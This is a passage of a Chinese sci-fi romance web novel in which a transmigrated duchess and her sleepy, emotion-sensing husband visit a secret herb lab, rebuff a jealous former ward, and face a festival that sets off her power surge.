一夜无梦,第二天醒来的席暮愕然发现她的精神出奇的好,就好像那些负面情绪一夜之间全部消失,唯有美好情绪留存。
这让席暮的心情格外愉悦。
机器人们准备好了早餐,但餐桌上不见楚岁宁的身影。于是席暮一个扭头走到了隔壁房间,敲门。
但是等了半晌席暮也没有等到回应,于是直接打开了房门。楚岁宁仍在睡。
席暮看了眼时间,早上八点,于是她也没有打扰,悄然离开并关上了房门。
毕竟是新婚,宿初夏给席暮批了两个月的假期。席暮吃完早饭休息了会,然后就去锻炼。
等到锻炼结束,已经是十点半,而席暮还没有看到楚岁宁的身影。
喝了口温水,席暮眉毛一挑,再次进入了楚岁宁的房间——还在睡,而且睡的极香。
“原来喜欢睡觉是这个意思吗?”低声自语了一句,席暮笑着摇头,没有犹豫直接按响了唤醒服务。
首先上场的是各种噪音、巨响,连站在旁边的席暮都有些难以忍受,楚岁宁却连表情都没变一下。
然后是肢体接触,好消息,楚岁宁有反应了,坏消息,不妨碍他接着睡……
这睡眠质量让席暮羡慕坏了,眼瞅着这些都没用。席暮干脆上前几步,火红色的火焰在手指一晃而过,下一秒,楚岁宁猛地睁开了眼。
“公爵?”刚睡醒的楚岁宁声音还有些喑哑,睡眼惺忪不知发生了什么。
“先起床,收拾好下来吃早饭。”只要是一天的第一餐,不管几点,应该都算早饭吧?
十分钟后,楚岁宁出现在了餐桌旁。他看上去已经彻底清醒了,脸上有些很明显的懊恼。
“昨晚几点睡的?”在现实世界的时候,席暮也见过那些熬个通宵然后睡到下午的,只是席暮没想过楚岁宁也是这样的‘网瘾少年’?
“十点。”楚岁宁对睡觉时间有着严格要求,昨晚睡觉的点已经有些晚了,“是睡的有些晚了。”
在下来之前,楚岁宁已经进行了深刻反思,明明之前做的笔记中有一点,要表现得勤快,一定要早起!他居然还是睡到了这个点,真是不应该。
短暂的沉默后,席暮开口了,“你一般几点睡?”
“九点,然后第二天早上九点起。”
“你在楚家一直都是这样吗?”
“是。”
那为什么你总是一副困顿的样子?席暮一直以为楚岁宁在楚家说不定有太多东西要学导致睡的很晚,所以才会看上去那么困,但是……
十个小时!还是每天都睡十个小时!
忽然,席暮想到了一个可能,“你的睡眠是必须的吗?”
楚岁宁惊喜抬头,“公爵好聪明!”
即使他已经在楚家生活了这么多年,还是有很多人对他的睡觉时间指指点点,不像公爵,甚至不需要他解释,瞬间就猜了出来。
果然…这样明显的异常是有原因的,席暮若有所思,“那你之后还有什么任务?”
“要去月盈草的培育所,那里还有一批尚未成熟的月盈草。”这正是楚沛白留给楚岁宁的任务。
席暮心中一动,她看着楚岁宁,试探开口,“那我也能去吗?”
这已经是楚家的机密,外人别说进入就连知晓都不可能。不过楚岁宁之前不是说过楚家要举家搬走吗?那培育所内呢?还会有有人留守吗?
席暮本以为楚岁宁需要去询问楚沛白,但楚岁宁毫不犹豫直接应下了,“可以啊。”
“对我不需要保密吗?”各种想法在席暮脑中回荡,席暮甚至都在思索这是不是什么阴谋了。
楚岁宁撑着脑袋,打了个哈欠,“公爵不是我的领养人吗?那我们就是一家人,手册中说一家人不应该有秘密。”
手指陡然抽搐了一下,席暮失去了所有表情。好一会,席暮才回过神来,捂着额头笑了起来,“这是从哪里看到的手册?”
“呃,好像是一个亲子关系培养的网站?”楚岁宁回忆了下,他以为席暮对这个感兴趣,便打算打开光脑找一下记录。
“哈哈哈。”席暮伸手按住了楚岁宁的手腕,心情愉悦极了,“不用了,我们可以看不同的手册
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。不过,这个手册说的很对,你可以多学习。”
“好哦。”记下了席暮的话,楚岁宁决定回头再把那些手册翻出来再看一遍。
“平安,你刚才做的很好,是个很乖的孩子呢。”原本坐在那的席暮走到了楚岁宁身边,摸了摸楚岁宁的脑袋,肯定了楚岁宁刚才的表现。
“乖孩子就应该有奖励,你有什么想要的吗,平安?”说完,顿了一下,席暮又补充了一句,“睡觉不算奖励哦。”
席暮清楚看见楚岁宁一下失落的表情,还真的想要睡觉这个当做奖励啊,席暮一时间不知道该说什么好。
“想不出来。”
“那攒着?小奖励攒在一起可以兑换一个大奖励哦。”以前养孩子的经验并不适用她和楚岁宁,所以席暮现在也在摸索和楚岁宁的相处方式。
目前看来,表扬是个不错的方式?
还可以这样吗?楚岁宁瞪大了眼睛,忙不迭点头,“好啊,那等我有了想要的东西我就跟公爵说。”
“嗯,很乖。”席暮没忍住又摸了摸楚岁宁的脑袋。你别说,这一刻席暮真的有养孩子的感觉,真不赖。
下午三点,楚岁宁敲响了席暮书房的门,“公爵,你不是要去月盈草培育所吗?”
从书上收回目光,席暮站起身,“现在去吗?”
“是的,这一批月盈草比较特殊,所以需要我每隔一星期就要去检查一下。”站在书房门口,楚岁宁认真回答。
“公爵,可以不要穿黑色衣服吗?月盈草不喜欢这个颜色,”
低头扫了眼自己的黑色长裤,席暮注意到楚岁宁带了个帽子,把黑色的头发全遮住了,“连头发都要遮?”
“嗯,月盈草有些娇气,一个不高兴就死给我看,拦都拦不住。”
行,都这么说了,席暮自然要尊重月盈草的喜好。
不过也幸好她是酒红色的长发,不然还有点难遮。
月盈草培育所并不在什么偏僻荒凉的地方,反而在一个热闹的小区内。小区一层的房屋都被买下,供警戒保护。
而在地下三层的实验室内,柔和的光照亮了每一处角落。
蓝白色的月盈草在水中舒展着身躯,尚未完全成熟的月盈草只有巴掌高,但香味却更浓。
经过层层筛查之后,席暮和楚岁宁才得以走进这里。只不过,一路上席暮只看到了军中人员,没有一个楚家人。
“你们家的人呢?没有一个在这里观察吗?”环顾着四周,席暮有些喜欢这里,那些香气让她舒适。
“他们应该今天就离开首都星。”楚岁宁释放出精神力略过每一株月盈草。
席暮感知到,被楚岁宁精神力扫过的月盈草,都会更加舒展,仿佛汲取了什么营养一般。
不过,席暮更加在意的是楚家离开的时间,“这么急?”
“母亲很急。”查探到有一株月盈草状态不佳,楚岁宁走过去,加大了精神力的输入。
“因为母亲很想早点见到父亲。”
楚沛白的伴侣不是早已去世了吗?席暮愕然。
13. 第 13 章
因为眼前这些月盈草,席暮想到了楚家之前养育失败的那批,不由困惑,据目前情况来看,月盈草的培育已经进入了大批量种植培育的环节,培育经验充足,怎么会损失如此惨重?据席暮了解到的,那一批月盈草全部失去了效果。
“平安,之前那批失败的月盈草,你没有参与其中吗?”
结束了精神力输送的楚岁宁看上去虚弱了不少,唇色淡了些许,听到席暮的问题后,楚岁宁摇头,“没有。因为那是他们的一次尝试,只不过失败了。”
席暮眼睛一亮,如果是这样,就意味着平安是特殊的,而楚家想要摆脱这种特殊。那么,宿初夏就是因为这种特殊,才需要人在平安身边?
席暮几步走到楚岁宁身边,将人从头到尾打量一遍,“你这么特殊啊?”
面对席暮如此询问,楚岁宁睫毛微颤,表情似乎都凝固了。席暮轻拍了下他的脸颊,发出嗤笑,“别担心,我不在乎你有什么特殊,只关心你听不听话。”
从席暮身上传来的味道闻上去高高在上,席暮俯瞰一切,仿若戏外人,而他们都是那戏台上的演员,无论他们做什么都不会影响到戏外的人,所以戏外的人毫无顾忌,只做自己喜欢的。
这样的味道楚岁宁从未闻过,但这样的姿态楚岁宁却熟悉。
于是楚岁宁开始思索,他看的资料是不是不对?亲子关系培养指南?不,或许应该看宠物饲养指南?从主人心态出发,从而更好感悟‘宠物’这个角色该如何扮演?
楚岁宁的感悟席暮一无所知,在她看来刚才的话题已经结束,所以席暮迅速将其遗忘。“这里能过夜吗?”
“啊?”楚岁宁错愕抬头,“不能久呆。会影响月盈草的生长。”
可惜……席暮有些遗憾,毕竟这里真的很舒服,要是能在这里支张床睡一觉,肯定感觉很好。
“等到这一批月盈草成熟,我可以拿到一些。公爵如果需要的话,只需再等待一段时间。”
“好啊。”既然楚岁宁提出要给,那她自然欣然接受,“谢谢平安了。”
没一会,席暮和楚岁宁离开了这里。可等两人回到公爵府时,却在门口见到了意料之外的人——蔺宵。
“大人!”好不容易又见到人,蔺宵激动大步向前,然后就看到了席暮身后的楚岁宁。蔺宵表情陡然一变,毫不掩饰的厌恶与嫉妒味道扑面而来,楚岁宁下意识向席暮靠近了些。
蔺宵表情更加扭曲,他恶狠狠瞪着楚岁宁,忍不住想要伸手将人扯离,他怎么敢离大人这么近!决不允许!
长臂一伸,将楚岁宁护在了身后,席暮冰冷的眼神让蔺宵不由停下了脚步,站在了离席暮三米远的位置。这场景让蔺宵越发抓狂,眼中充血。
“大人,你为什么要护着他?”蔺宵忍不住质问出声,他才是大人养大的孩子,大人怎么可以护着其他人?!
还从没人用这样的表情看过她,席暮收回手臂环起。“你又是怎么敢用这种语气跟我说话?”
当初席暮所操纵的角色可是个反抗军首领,平常御下威严十足,因此无论再怎么疼爱孩子,在外人面前他们还是需要恭敬称呼席暮一句“首领”。但席暮给他们的宠爱实在太多,多到他们从未真正正视过这个称呼,以至于他们都忘了在遇见席暮之前,他们也不过众多人之中普通的一员。
“……”蔺宵神情恍惚仿佛回到了当年,大人站在军前训话的场景,一时凛然,忙站正了身体,“对不起。”
悄然从席暮身后探出脑袋,楚岁宁仔细嗅着蔺宵身上的味道,怀念、渴望、只有一点害怕。在这个人的心里,公爵恐怕是个光芒万丈的人吧。
“有什么事吗?”需要利用蔺宵的事情已经做完,席暮又不能在人前揍他一顿,所以席暮不乐意见到蔺宵,一心想着赶人走,“公事先通过申请。”
“大人!”蔺宵连忙开口,生怕席暮下一句就是驱赶他的话,“大人,您愿意和我回联邦吗?他们,都不怀好意!”
蔺宵又不是傻子,他和原席暮之间的交易有多少猫腻他自然明白,只是之前他一心想大人回来,再加上另外两个人的担保,所以选择了无视。但现在既然大人已归,怎么能留在对她不利的环境里呢?
至于大人已经结婚?蔺宵咬着牙选择了忽视,没关系,联邦不承认帝国的法律。
席暮甚至懒得和这个已经陷入了自我幻想中的人说话,眼神示意楚岁宁跟上后,席暮直接绕开了蔺宵准备回家。
“大人?”大人为什么不说话,是不愿意吗?蔺宵视线紧紧跟随着席暮,还妄想着席暮能够回答他。直到大门在他面前彻底关闭,蔺宵才意识到席暮彻底拒绝了他。
肯定是有别的原因,不然大人肯定会直接开口拒绝,既然没说话,大人想必是有其他顾虑。蔺宵对自己说,他要弄清楚大人的顾虑是什么才行,帮大人解决了这些麻烦,大人肯定就能原谅他了。
“公爵,他是?”刚才那人身上的味道实在太过复杂,而且扭曲,所以所有味道又加上了涩味,更难闻了,楚岁宁捂着鼻子好奇开口。
席暮用了三秒思索了下,然后无所谓摆了摆手,“我之前养的,算是你的前辈?”
说完,席暮自己先笑了,她转过身看着楚岁宁,“所以你要以他为戒知道吗?”
完全不一样的味道……楚岁宁愣愣地想,公爵对他和对那个人的态度味道差别太大,可为什么呢?“那公爵是不养他了吗?为什么?”
“对,不养了。”席暮将自己摔进了柔软的沙发中,发出了满足的叹息,“还记得我和你协议里最重要的那条吗?”
“爱情?”楚岁宁脱口而出,随即恍然,“啊,他爱你啊。”
席暮厌恶地皱起眉,在身上挥了挥,仿佛这句话是什么脏东西
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然后沾到了她身上,“别说那种话。总之,他违反了协议,所以我不要了。而且,是永久性的,知道了吗平安?”
“我不能爱你。”楚岁宁笃定回答。
回答得有些古怪,但是是这个理,于是席暮点头,“没错。”
其实楚岁宁没有体会过爱情,他也没有闻过爱情的味道,还有些好奇,但是既然席暮这么说了,楚岁宁便把爱情划到了禁忌这一栏,决不能让自己产生一点这种特殊情感。
夜幕降临后,两人各自陷入了沉睡。因为今天白天的经历,触手们行动越发小心了,屏蔽监控,让席暮熟睡,然后将楚岁宁塞进席暮怀里,一系列动作行云流水。
至少第二天醒来的席暮没有察觉到异常,不过,触手们的安静倒是让席暮疑惑了下。将触手放出盘弄了会,席暮察觉到触手的体型似乎变大了些,“你们吃什么?”
这是席暮之前没有想过的,因为席暮没有想过触手还能生长,现在席暮来了兴致,“你们能长多大呢?”
一根触手来到席暮脑后,在中间位置点了点,席暮立刻想到了,“精神力?你们以我的精神力为食?”
触手比了个YES。
席暮收回触手,对那批月盈草有了更浓的兴趣。
两个月的假期一晃而逝,经过这两个月的相处,席暮越发觉得自己把楚岁宁当孩子养这个决定很明智,楚岁宁对于他们之间的协议十分遵守。也不知道他究竟看了什么家庭秘诀,说的话做的事都十分让她高兴,合她心意。
而且席暮和蔺宵他们都不一同,楚岁宁虽然年龄长,心智却似乎空白,不是说他傻,而是在一些方面楚岁宁完全不了解,席暮可以将自己所想囫囵填进楚岁宁的空白中,让楚岁宁的想法越来越像她。这种感觉由衷让席暮满足。
假期一结束,宿初夏就来了信息,说是有重要事情让她完成。所以席暮不得不再次调整了自己的作息,之前的两个月被楚岁宁影响,席暮起床也比平常晚了半小时。
换上正式的衣服,席暮走下楼梯,却看见本该在睡觉的楚岁宁竟然坐在餐桌边,而且餐桌上已经摆满了早餐。“平安?今天起这么早?”
“公爵第一天工作,我要送公爵去出门。”楚岁宁虽然在说话吗,上下眼皮却仿佛黏在一起。
席暮无奈摇头,这又是从哪看来的?真是,唇边带着笑,席暮从桌上捞起一块三明治,“好了,我现在就出门,你回去睡吧。”
如同幽灵一般飘在席暮身后,在席暮出门后,楚岁宁挥了挥手,“路上小心哦公爵,我在家里等你回来。”
席暮背对着楚岁宁挥了挥手,不知道为什么,就感觉脚步轻快了不少。
“席暮,还想去军中吗?机会来了。”宿初夏脸上的表情实在愉悦,在见到席暮后就更是如此了,毫不掩饰笑容,“西索那个蠢货终于被他自己的愚蠢绊倒了。”
14. 第 14 章
虽然用的是询问的语气,但席暮看到了宿初夏眼中的笃定,宿初夏似乎确认席暮不会拒绝这个提议。
“可是陛下,我并不是很感兴趣。”对于席暮而言,参军这件事暂时没有什么吸引力,那么宿初夏是如何确定的呢?
如此不再遮掩的姿态让宿初夏表情一凝,她自上而下俯视着席暮,视线一寸寸扫过席暮的面庞,无言的沉默让气氛逐渐变得焦灼。若是换个人,此刻说不定已经诚惶诚恐了,但席暮无动于衷。
于是宿初夏心里有了些判断,她哼笑出声,“这是不再掩饰了?”
“陛下既已看穿了我的底细,那演戏也没有意思。不如摊开了说,或许会有意想不到的惊喜呢?”席暮为自己倒了杯红茶,扑鼻的香气让席暮精神一振,“茶不错。”
“品味不错。以前她可欣赏不来这好东西。”宿初夏端起茶杯,杯中橙红色的茶汤微微荡漾,“她有留什么给你吗?”
摊开手,拇指抵住食指,“只有一点点模糊的记忆,不然也不会这么快被你发现。不过陛下,似乎也不是很清楚?”
之前席暮隐隐察觉到原主所为有些熟悉,后来去搜寻了一番,却一无所获。之前宿初夏的表现让席暮以为她有所了解,可现在看来,她们俩掌握的信息似乎一致?
“所以今天让你来了。”
这话终于引起了一点席暮的兴趣,坐直了身体,席暮表示自己将洗耳恭听。
“她的精神有段时间一直不算稳定。”手指摩挲着茶杯,宿初夏陷入了回忆中,阴影笼罩了她半边脸,“请了医生,找了专家,给她休息时间,但没有一点起效。直到有一天,她突然就好了。”
嗯,有点像恐怖故事的开头,接下来的情况是情况不但没有变好,反而越发恶化,导致原主性格大变?席暮在心里猜测,但很显然情况没有这么简单。
“……她告诉我她有必须要去做的事,无论她出现什么变化,都让我不要惊讶也不要戳穿,都当作是她就好。”说着,宿初夏掀起眼皮看了眼席暮,“她说,这是主给她的启示,若要拯救帝国,这就是必要的牺牲。”
哇哦,典型被洗脑的话术,席暮翻了个白眼,这话她多少年前就听过了。当初那什么教来着,趁着战乱笼络了一大批信众,所宣扬的思想就是,主会拯救一切,只要做出一点牺牲,主就会派下救世天使拯救众人,将一切苦难驱除。
拯救天使?呸!还不是席暮自己靠一条又一条命,一次又一次尝试存档才拼出了一条路?所以,等到后面席暮稍微有了些势力之后,直接带人就把那教基地趟平了。不过跑了些教徒,之后似乎还在暗中活跃,但那之后有席暮在,他们所宣扬的也不被大家接受,不过是些掀不起风浪的余烬,席暮就没在乎。
眼皮一跳,席暮突然想到了一个可能,不会,还是当年那个吧?如果真是,那还真是教会了席暮一个道理,那就是斩草果然要除根!
“所以?”讲那些杂念抛开,只专注于眼前的事,席暮抬起头,“这跟你说的参军有关系?”
“经过调查,她产生变化的那段时间唯一与她有过接触的,只有远征军的上校,路维西。路维西,平民出身,身份清楚,履历明白,曾是她大学时期的教官,与她接触过三个月。这之后,路维西随军远行,再回首都是半年前,而他在首都的半个月,除去公务,只私下见过十个人,她是其中之一。”
这一听就问题很大,席暮给自己的红茶加了块糖,摇头感慨,“她和路维西关系很好?”
“关系不错,她说路维西教会了她很多。但,关系不会很好。”瞥见席暮的动作,宿初夏微微蹙眉,将手边的糖块推远了些,“但路维西和她的那次私下见面,也有我的指令。”
啊,是为了给她谋求一个军中职位吧。席暮了然,“总之,就是你怀疑路维西,所以希望我能够进入军中了解更多情况,查出真相?”
“我还要知道,帝国的军队是否还对帝国效忠,其中的苍蝇又有多少。”宿初夏的眼中露出了明晃晃的杀意,那些邪教徒竟然胆敢把手伸到军中,简直找死!
“这些邪门东西就像蟑螂,啊陛下知道什么是蟑螂吧?”席暮叹气,对这种生物那是深恶痛觉,“有句话怎么说来着,当你发现一只蟑螂时,就意味着已经有一窝的蟑螂隐藏在暗中了。”
宿初夏又如何不明白这个道理,只是这种不比其他,思想的改变太难监测,更难判断,她也不能大动干戈。只能暗中调查,但,一想到那些个军团长,宿初夏眼中就是一片阴霾。
“你难道就不想知道自己是怎么来到这里的?你不想回去?”
诧异看向宿初夏,席暮没想到她用来说服自己的理由居然是回家。但细细想来,这的确是最吸引她这种特殊存在的理由,只是,回家?很抱歉,她并不是很想呢。不过,席暮确实有些兴趣了,因此不介意顺带为宿初夏查点信息。
“可以。你能为我谋到的职位是?”
“‘启明军’的准尉。启明军最主要的任务就是太空中的异种,现在启明军和远征军正在联合作战,暂时合作中。”
“我知道了。”席暮将茶杯往旁边一推就要走,来这一上午了,也不知道上些甜品吃食,就只有茶,喝了好几杯,席暮感觉有些喝不动了。“具体信息你发我就行,我先走了。”
摆了摆手,席暮就这么大摇大摆走出了宫殿。宿初夏凝视着她的背影,神色晦暗不明。
“九黎,我是相信你。”
正从阴影中走出的九黎,轻而易举听出了宿初夏语气中的警告。从没有被人用这种轻慢的态度对待过,这位女王恐怕早就酝酿了不满,九黎无奈摇头,“陛下,何必生气呢。”
“她的态度无关紧要。”宿初夏长臂一挥,狠狠握住了拳头,“这个帝国居然还有这么多我无法掌控的东西。”
阳奉阴违、面上一套背后一套宿初夏见得多了,态度算什么,宿初夏生气的是,她居然只能眼睁睁看着那些邪教徒在她的帝国内搅扰风浪,她却要顾手顾脚。
“……”九黎低头,是他小瞧了这位女王,“陛下,您将会是百年来除那位救世主外最为贤明的王。”
“哼。今天有看出什么吗?”把席暮留在这这么长时间,总不至
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于一点东西得不到?宿初夏死死盯着九黎的头顶,那一头黑色的长发柔顺又有光泽,宿初夏很喜欢,“她一定有地位。”
九黎头更低了,“陛下……”
不必多言,宿初夏明白了。她转身向外走去,在经过九黎时只冷冷一瞥,“留下你们是因为你们有用。”
维持着这个姿态直到宿初夏离开,而后才直起身,九黎将眼前的碎发撩至耳后,眼中只有不解,为什么他没有办法看透席暮?她之前究竟是谁?
“辛苦了公爵!”席暮回家时,楚岁宁已提前在门口的等待,见到席暮后,更是大步向前站在了她身侧,表示了他的期待,“欢迎回家!”
席暮嘴角噙着笑,总觉得楚岁宁好像是取代了向慧之前的工作,等到向慧休假结束不会直接失业吧?促狭的想法自心里一晃而过,席暮唇角弧度更大了,“怎么等在门口?”
不等楚岁宁回答,席暮就想到了,“啊,又是看的哪本书说的是吧?”
“是,公爵真聪明。”楚岁宁跟在席暮身后,寸步不离,书里说这样可以最大程度表示对主人的欢迎,不过楚岁宁觉得这其实对他好处多多,那些围绕他的情绪被净化,好舒服。
楚岁宁脸上不由浮现出享受的表情,席暮已经很了解他这个样子了,也见怪不怪,只伸出根手指抵着他的额头,将人稍微推远了些。经过两个月的相处,席暮已经摸清楚了自己身边多远的距离会对楚岁宁产生效果。一般,楚岁宁都会在最远范围附近,偶尔被书的内容影响时,会忘记这个距离。
“我之后会去军中,到时候可能会住在那里。你有什么打算?”席暮在厨房助手上为自己点了份午餐,也没忘记给楚岁宁点一份。
“那我能一起去吗?”待在公爵身边的感觉太好了,而且虽然两个房间距离超过了公爵影响范围,但楚岁宁觉得自己晚上就是睡得更好,楚岁宁不是很想恢复到以前状态。
“那月盈草那边?”军中纪律森严,可不是随便出入的地方,席暮担心会影响月盈草的生长。
楚岁宁皱着眉,一咬牙,“大不了我少睡一会!”
侧过身体,一脸愕然看向楚岁宁,席暮甚至连吃饭的动作都停了,居然连少睡都说出来了,那看来是真的很想跟着她一起去了。
“这么想去啊?因为我?”席暮眨了眨眼,故意揶揄开口,通过楚岁宁身体内那截触手,席暮自然知道楚岁宁一点多余想法没有,所以席暮可以放肆开玩笑,而且,逗一逗楚岁宁还挺有意思的。
楚岁宁早就习惯了席暮的玩笑,于是认真点头,“对啊,因为公爵。”
没意思……席暮撇了撇嘴,还是最开始有意思,唉,装模作样叹了口气后,席暮专注于食物,余光却在关注着楚岁宁的表情。
将口中的食物咽下,楚岁宁举起手一脸惊慌,“啊呀,公爵,是不是我说错话了,你不要不高兴!”
“噗……”席暮捂住嘴,不让食物喷出,“这又是在哪本书上学的!给我把这本书扔了!”
得意一笑,楚岁宁端着盘子走进厨房,他才不会告诉公爵这可是他自己琢磨的!
15. 第 15 章
“不对啊…”正吃着饭,席暮后知后觉反应过来了,“平安,你是不是在逗我?”
丢开筷子,席暮手腕一转,食指中指并拢一勾,一阵风将楚岁宁朝着席暮方向一推。
楚岁宁顿时一阵踉跄,跌向席暮,被后者一把拉住。
“说,是不是故意的?”一把抓住楚岁宁的胳膊,席暮眯起眼睛,语气凶狠。
然而楚岁宁闻到的味道只有愉悦,所以楚岁宁丝毫不慌,歪着脑袋一脸无辜。
抵死不招?席暮哼出声,她也不是没有办法!松开手,席暮后退了两步,在楚岁宁做出反应前,挥手向上一招。
盘旋向上的风场自楚岁宁脚下生成,楚岁宁被吹离地面,随着风场上下晃动。
席暮撑着脑袋,像丢沙包一样上下抛动着楚岁宁。
为维持稳定,楚岁宁张开双臂,却无济于事。风吹乱了他的发丝,遮住了他的视线,“公爵!公爵!”
“错了没?”席暮手指一定,楚岁宁就那么躺在了半人高的半空中。
“知道错了。”楚岁宁拨开眼前的发丝,选择认输,“我看书里都说,孩子在不同年纪都会有一段叛逆期。”
席暮将人缓缓放下,面色古怪,“所以,这就是你的叛逆?对我的小小逗弄?”
当然只能是小小逗弄了,楚岁宁在心里嘀咕,他有种直觉,他要是真敢做些过分的事,说不定会被公爵按着打。
“是啊。”不过心里想的楚岁宁是不敢表现出来的。
上前几步将楚岁宁被风吹乱的衣角捋平,接着拍了拍他的肩膀,席暮语重心长教育道,“下次胆子可以大一点。我很乐意做些亲子娱乐活动。”
楚岁宁回忆了下自己看的那些宠物饲养指南,好像没有什么可以互动的游戏,看来他要再买些书了,楚岁宁心想。
吃过午饭,两人按照之前惯例进入了‘亲子教育’环节。
在相处过程中,席暮愕然发现楚岁宁似乎是个历史文盲,于是果断购入书籍,为楚岁宁补课。
“昨天讲到哪了?”书本散乱在书房各处,席暮的教学进度往往取决于她拿到了哪本书。
“讲到了百年前人类对抗异种。”楚岁宁的记忆力不差,对这些内容也格外感兴趣,所以不用思考就脱口而出进度。
席暮拿书的动作一顿,等等,按照这么说的话,今天岂不是该讲那位‘救世主’了?
沉默笼罩了席暮,就算是她,也没有办法照着书本读那位‘救世主’的丰功伟绩啊!
“公爵?今天是不是该讲那位救世主了?”楚岁宁没有见过那位,但是对她的大名如雷贯耳,救世主“初黎”,那个仿佛无数赞美词句形容都无法比拟的存在。
“……”席暮僵硬着翻开了书本,只是看了几行就猛地合上了书页。
“今天考考你自主学习的能力!”将书丢到一边,席暮强撑着冷静,“你先自己看,然后我再来考你。”
应了声好,楚岁宁捡起那本被丢到一旁的书,打开,阅读。
只是,为什么他看书时,公爵身上的情绪变化这么激烈?楚岁宁摸了摸鼻子,尴尬、羞耻还有些嫌弃?
“公爵,你今天是不是还没有锻炼?”不行,这些情绪越发浓烈,楚岁宁感觉自己快要被淹没,他想让席暮脱离这些奇怪情绪,于是提出了建议,“不如趁现在?”
席暮猛地站起身,一脸恍然,“啊,没错。你认真读书,我先去锻炼了!”
等到席暮走出了书房,两个人都长长舒了口气。
将注意力重新投入书中,楚岁宁津津有味读起了那些有关救世主的趣事。
“救世主初黎,出生不祥,年龄不祥,唯一可以确定的是她的生日是十二月的第一天,为了纪念她,人们会在这一日进行悼念……”读到这,楚岁宁抬头看了眼日期,好像,就是明天?
楚岁宁想起来了,明天是‘冬岁节’,纪念救世主的节日。
这一天,人们会聚集在救世主的雕像下,向其奉上鲜花的礼物,以祈求平安。
而每到这一天,怀念的情绪就格外浓烈,楚岁宁最不喜欢这种环境,所以每到这时他就会躲进密室进行短暂的休眠。
得去向公爵说明情况,楚岁宁起身向着训练室走去。
“嗯?冬岁节?”关掉仪器,席暮闭上了眼睛,为什么还有她的雕像?!
“是的,所以公爵明天我要回楚家一趟。”楚家的密室采用特殊合金建成,可以稍微阻隔一些情绪。
“可以。”席暮现在可顾不上楚岁宁明天要去做什么,她只要一想到明天的习俗,就立刻决定明天坚决不出门!
而在另一边,早早就准备好了礼物的蔺宵收到了意外的来信。
“大人能否归来就差最后一步了,不要忘记明天的仪式。”
点击删除、然后彻底粉碎一切记录。关上通讯器,蔺宵露出讥讽的笑意,辜原啊辜原,枉你自认可以掌控一切。
可笑,连大人早已真正归来都不知道。你就接着忙活吧,不过只会是白费工夫。
第二天一早,首都星内所有雕像前就已经围满了人,人们放下手中的鲜花,闭上双眼进行悼念。
尽管这些人中没有多少人真心,但哪怕只有细小的情绪,汇聚在一起也是不容小觑的浪潮。
“唔……”席暮紧闭着双眼,眉头紧紧蹙起,未知的能量从四周的空气中涌入她的身体,为她带来了难以言喻的痛苦。
席暮仍在睡梦中,而在她的梦境里,她仿佛被绑在了柱子上,无法动弹。在她身下,不断有断续的声音传来,吵得人头疼。
现实中的席暮身体蜷缩,随着陌生能量的涌入,席暮的精神力开始发生剧烈波动。火红色的精神海骤然扩张,将那片青色的精神海彻底压制。独属于席暮的气息开始扩散。
房间内顿时响起了一阵警报声。然后一切寂静。
触手陷入了狂躁,无意识清扫着房间内的一切,无论是家具还是智能管家,全部被摧毁。
而在这一片废墟中间,楚岁宁茫然站立。
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被那些浓烈情绪吵醒的楚岁宁本想跟席暮说一声,然后就离开。
可没等他走出去房间,周围环境就已经剧变。一切不复存在,除了他手上的被子……
肆意摧毁着一切的触手就在他眼前,楚岁宁试探着向前走了一步,一根触手立刻就横在了他身前。
不允许靠近,不允许离开,但它们也没有伤害楚岁宁的意思。
楚岁宁将被子放到一边,下一秒那被子就被彻底撕碎
或许眼前的场景足够吓人,但对楚岁宁来说却早有预料,在公爵讲那截触手放进他体内的时候,他就知道公爵身上的特殊。
只是,为什么会突然失控?公爵身上发生了什么?
这么想着,楚岁宁伸出手,“我可以安抚公爵。”
语言通过情绪被传递给那些触手,下一刻,一根最为粗壮的触手卷住楚岁宁的腰,猛地一扯,就将人带到了席暮身边。
楚岁宁蹲下身体,将自己的右手搭在了席暮胳膊上,他没有接触席暮的皮肤,他知道,公爵讨厌这种行为。幸好,他也不需要皮肤接触。
那些源源不断流向席暮的能量在楚岁宁的牵引下,转变了方向。
“呕。”楚岁宁捂住嘴,能量太多他无法立刻转移,他现在就像是吃撑了,却被迫塞入了更多食物。
不行,这样不行,他能承担的也有限,必须让公爵醒来。
楚岁宁咬住嘴唇,在心里向公爵道歉,对不起公爵,为了让你醒来,恐怕要让你经历一些痛苦。
“贱人!”伴随着尖利痛苦的尖叫,席暮猛地睁开了眼睛。
在极端的情绪影响下,席暮短暂失去了视觉,但很快,席暮就察觉到了异常。
视线很快聚焦,捂着嘴的楚岁宁也随之出现在她眼前,然后就是那肆意舞动的触手。
席暮立刻就察觉到了精神力的异常,她闭上眼,收缩,压制,火红色的精神海在她的意愿下逐渐缩小恢复正常。
“平安?”
“公爵……”楚岁宁长舒了了口气,终于,结束了。
而后,楚岁宁眼睛一闭,整个人向后倒去。
不等席暮反应,那些触手一把将楚岁宁裹住,送进了席暮怀中。
席暮扶住楚岁宁的肩膀,检查了一下他的状态,却愕然发现,楚岁宁好像只是,陷入了沉睡?
本想将楚岁宁安顿好,但……干脆,还是用触手卷起来好了。
等到了这时,席暮才有空来处理面前这一堆又一堆的烂摊子。
作案工具现在就在旁边,甚至因为席暮状况已经稳定,它们看上去十分温顺。
“辜原?骆景彦?蔺宵?”席暮站在废墟中,低声呢喃着这三个名字,这是席暮第一反应下能想到的罪魁祸首。
可,为什么?他们的目的究竟是什么?
席暮将进入休眠的智能管家唤醒,命令其进行自检,然后对房屋进行检查维修,维修费用从她账户里扣。
而席暮,则准备直接会一会蔺宵。
16. 第 16 章
席暮拨通了蔺宵的通讯。一分钟后,无人接通的通讯自动挂断。这无疑肯定了席暮的猜测。于是席暮不再犹豫,第一次主动触发了她和蔺宵之间的链接。席暮从没想过,这个功能居然还有被使用的场合。
在游戏中,玩家可以对游戏角色进行精神力绑定,俗称链接。通过链接,玩家可以感知角色位置,以及角色受到危险时链接会被动触发提醒玩家,以便玩家及时救援。当初为了更好照顾三个崽,席暮斥巨资开通了这个功能。而事实证明,这个功能确实挺有用。
但后来,席暮删号跑路之后,一度以为这个链接也就废除了。直到刚才,席暮尝试开启,却发现链接居然一直都在。
链接、感应、搜索……席暮迅速锁定了蔺宵的位置。
但在这之前,楚岁宁该怎么办?即使席暮不知道刚才究竟都发生了什么,但通过触手,席暮知道楚岁宁帮助了她。所以她不可能把楚岁宁一个人留在这。席暮还记得,在她身边时,对楚岁宁是有益的。看了眼还在睡的楚岁宁,席暮叹了口气,伸手将人扛起。
幸好蔺宵在的地方并无多余观众,否则等待席暮的将会是各式奇异的目光。
